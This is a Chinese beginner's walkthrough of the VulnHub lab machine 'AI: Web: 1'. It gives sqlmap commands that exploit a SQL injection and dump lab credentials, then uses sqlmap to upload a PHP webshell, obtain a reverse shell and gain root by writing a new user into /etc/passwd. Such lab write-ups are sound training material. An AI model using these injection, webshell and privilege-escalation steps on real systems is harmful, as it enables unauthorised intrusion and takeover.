目录
难度(中级)靶机下载地址:AI: Web: 1 ~ VulnHub
1、信息收集
确认靶机地址:192.168.29.131
对靶机进行端口和服务信息收集,开了80端口 apache服务
web页面检查一下,啥也没有
2、目录遍历
使用dirb工具进行目录扫描一下
访问一下robots.txt,发现两个目录
两个页面都提示权限不够
继续扫描 http://192.168.29.131//m3diNf0/ 这个目录 发现了一个info.php得到了一个绝对路径
这次扫描 http://192.168.29.131/se3reTdir777/ 发现了一个index.php 疑似sql注入
使用burp抓包 确认注入点,注入点:uid=1'&Operation=Submit
3、sql注入
使用sqlmap工具进行数据库爆破 成功得到数据库名:aiweb1
查询数据库下的表
sqlmap -u 192.168.29.131/se3reTdir777/index.php --data "uid=1'&Operation=Submit" -D aiweb1 --tables
sqlmap -u 192.168.29.131/se3reTdir777/index.php --data "uid=1'&Operation=Submit" -D aiweb1 -T user --columns
查询字段名,但是显然不是我们想要得到的 看看另外一个表
sqlmap -u 192.168.29.131/se3reTdir777/index.php --data "uid=1'&Operation=Submit" -D aiweb1 -T systemUser --dump
得到账号和密码,密码被base64加密了 在线网站上随便解密一下
FakeUserPassw0rd | t00r
MyEvilPass_f908sdaf9_sadfasf0sa | aiweb1pwn
N0tThis0neAls0 | u3er
4、反弹shell
尝试使用sqlmap的–os-shell命令
写如os-shell的条件
1.网站必须是root权限
2.网站的绝对路径已知
3.GPC为off(php主动转义的功能关闭)
命令:
sqlmap -u" http://192.168.75.134/se3reTdir777" --data 'uid=123&peration=Submit' --level=3 --os-shell
输入网站编写语言和绝对路径
进入成功!!!
随便写一个一句话木马,进行上传
sqlmap -u "http://192.168.29.131/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./mm.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/mm.php
运行刚刚上传的文件进行 反弹shell
5、提权
反弹成功!
查看/etc/passwd文件 发现拥有者是www-data且有读写权限
创建一个用户写入到/etc/passwd中
登录用户flag在root目录下
这里要使用一个python3 -c "import pty;pty.spawn('/bin/bash')" 交互 不然登录不上去
得到root权限拿到flag,渗透结束!!!
知识点:
- nmap和diab的工具使用
- 判断注入点,sqlmap注入
- 利用os-shell反弹shell,必要条件:网站的绝对的路径
- openssl加密工具
- 修改/etc/passwd文件添加用户进行提权
后言:刚入门网安的一只小白,想把自学的学习的过程记录下来方便自己,帮助他人。可以私信博主欢迎学习交流!!!